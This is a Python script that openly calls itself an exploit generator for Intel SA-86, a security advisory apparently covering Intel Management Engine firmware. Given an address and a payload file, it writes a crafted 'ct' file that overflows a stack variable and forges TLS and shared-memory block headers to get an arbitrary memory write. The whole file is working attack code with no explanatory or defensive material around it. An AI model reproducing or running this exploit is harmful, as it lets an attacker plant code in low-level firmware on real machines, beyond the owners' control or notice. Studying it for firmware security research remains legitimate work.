sa86_arb_wr.py

#!/usr/bin/env python3

import sys
import os
import io
import argparse

def filesz( f ):
    return os.path.getsize( f.name )

def round4k( i ):
    return (i + 4095) & 0xFFFFF000

def read_f( f, p, n ):
    f.seek(p)
    return f.read( n )

def read_a( f, n ):
    b = f.read(n)
    return int.from_bytes( b, byteorder='little' )

def read_a32( f ):
    return read_a( f, 4 )

def read_a16( f ):
    return read_a( f, 2 )

def read_r32( f ):
    r = read_a32( f )
    return ( r + f.tell() ) & 0xFFFFFFFF

def ver_sig( f, n, sig ):
    b = f.read( len( sig ) )
    if b != sig:
        print( "sig mismatch for: ", n, ": ", b )
        sys.exit(255)

def write_u( f, n, v ):
    b = v.to_bytes(n, byteorder='little')
    f.write( b )

def blki( a ):
    return a // 64

def blko( a ):
    return a % 64

parser = argparse.ArgumentParser(
    description="Generate exploit \"/home/bup/ct\" file for Intel SA-86"
    )

parser.add_argument(
    'address',
    metavar="address",
    type=int,
    help="The address to write the payload to")

parser.add_argument(
    'input',
    metavar="payload",
    type=argparse.FileType("rb"),
    help="The payload to drop")

parser.add_argument(
    'output',
    metavar="output",
    type=argparse.FileType("wb"),
    help="The path to write the output to.")

parser.add_argument(
    '--stack',
    '-s',
    type=int,
    default=0x5d000,
   help="The stack top address for the program")
 
parser.add_argument(
    '--tid',
    '-t',
    type=int,
    default=0x3000300,
    help="The thread ID for the target program (default is BUP)")

parser.add_argument(
    '--ctdepth',
    '-d',
    type=int,
    default=0x380,
    help="The stack depth of the overflowed variable")

parser.add_argument(
    '--errno',
    '-e',
    type=int,
    default=0,
    help="The errno to inject in the fake TLS")


ns = parser.parse_args()

stack_base   = ns.stack
ct_stack_off = -ns.ctdepth
errno        = ns.errno
thread_id    = ns.tid
tls_size     = 0x14
tls_addr     = stack_base - tls_size
ct_base_addr = stack_base + ct_stack_off
ct_hdr_size  = 0x8
shm_ctx_size = 0x35
shm_ctx_off  = 0x68
shm_hdr_size = 0xD
payload_data = ns.input.read()
payload_size = len(payload_data)
target_addr  = ns.address
f            = ns.output
payload_pad = 64

print("-------------------------------")
print("       Payload details         ")
print("-------------------------------")
print("payload_size:    %8X"%payload_size)
print("target_addr:     %8X"%target_addr)
print("")
print("-------------------------------")
print("        Target details         ")
print("-------------------------------")
print("stack_base:      %8X"%stack_base)
print("ct_stack_off:   -%8X"%(-ct_stack_off))
print("ct_base_addr:    %8X"%ct_base_addr)
print("shm_ctx_off:     %8X"%shm_ctx_off)

if blki(tls_addr - ct_base_addr) != blki(stack_base - 1 - ct_base_addr):
    print("warning: TLS crosses block boundary, exploit might not work!")

if blko(stack_base) != 0:
    print("warning; gap between TLS and arbitrary write block")
    print("         overflow will thrash heap!")

sysctx_base = tls_addr - shm_ctx_off - shm_ctx_size
shmhdr_base = tls_addr - shm_hdr_size
shmhdr_off  = shmhdr_base - ct_base_addr
shmblk_cnt  = ((shmhdr_off - ct_hdr_size) // 0x14) 
shmblk_end  = shmhdr_base
shmblk_base = shmblk_end - shmblk_cnt * 0x14
shmblk_off  = shmblk_base - ct_base_addr
pad_size    = shmblk_off - ct_hdr_size
target_wrad = target_addr + ct_stack_off - payload_pad

print("sysctx_base:     %8X"%sysctx_base)
print("shmhdr_base:     %8X"%shmhdr_base)
print("shmhdr_off:      %8X"%shmhdr_off)
print("shmblk_off:      %8i"%shmblk_off)
print("shmblk_base:     %8X"%shmblk_base)
print("shmblk_cnt:      %8i"%shmblk_cnt)
print("shmblk_end:      %8X"%shmblk_end)
print("target_wrad:     %8X"%target_wrad)
print("shmbuf_size:     %8X"%(payload_size - ct_stack_off))
print("pad_size:        %8X"%pad_size)

def write_ct_hdr( f, unk0, unk1, count ):
    write_u( f, 4, unk0 )
    write_u( f, 2, unk1 ) 
    write_u( f, 2, count )

def write_tls( f, syslib_ctx, errno, gtid, stack_base ):
    write_u( f, 4, 0 )
    write_u( f, 4, syslib_ctx) 
    write_u( f, 4, errno) 
    write_u( f, 4, gtid) 
    write_u( f, 4, stack_base - 4)

def write_shm_hdr( f, blocks, nblocks ):
    write_u( f, 4, blocks )
    write_u( f, 4, nblocks )
    write_u( f, 4, 0 )
    write_u( f, 1, 0 )

def write_shm_blk( f, flags, buf, size ):
    write_u( f, 4, flags ) # 00
    write_u( f, 4, buf )   # 04
    write_u( f, 4, size )  # 08
    write_u( f, 4, 0 )     # 0C
    write_u( f, 4, 0 )     # 10
write_ct_hdr( f, 0, 0, 0 )
f.write( b"\0" * pad_size )
for i in range( 0, shmblk_cnt ):
    write_shm_blk( f, 1, target_wrad, payload_size + payload_pad - ct_stack_off )
write_shm_hdr( f, shmblk_base, shmblk_cnt )
write_tls( f, sysctx_base, errno, thread_id, stack_base )
f.write( b"\0" * payload_pad )
f.write( payload_data )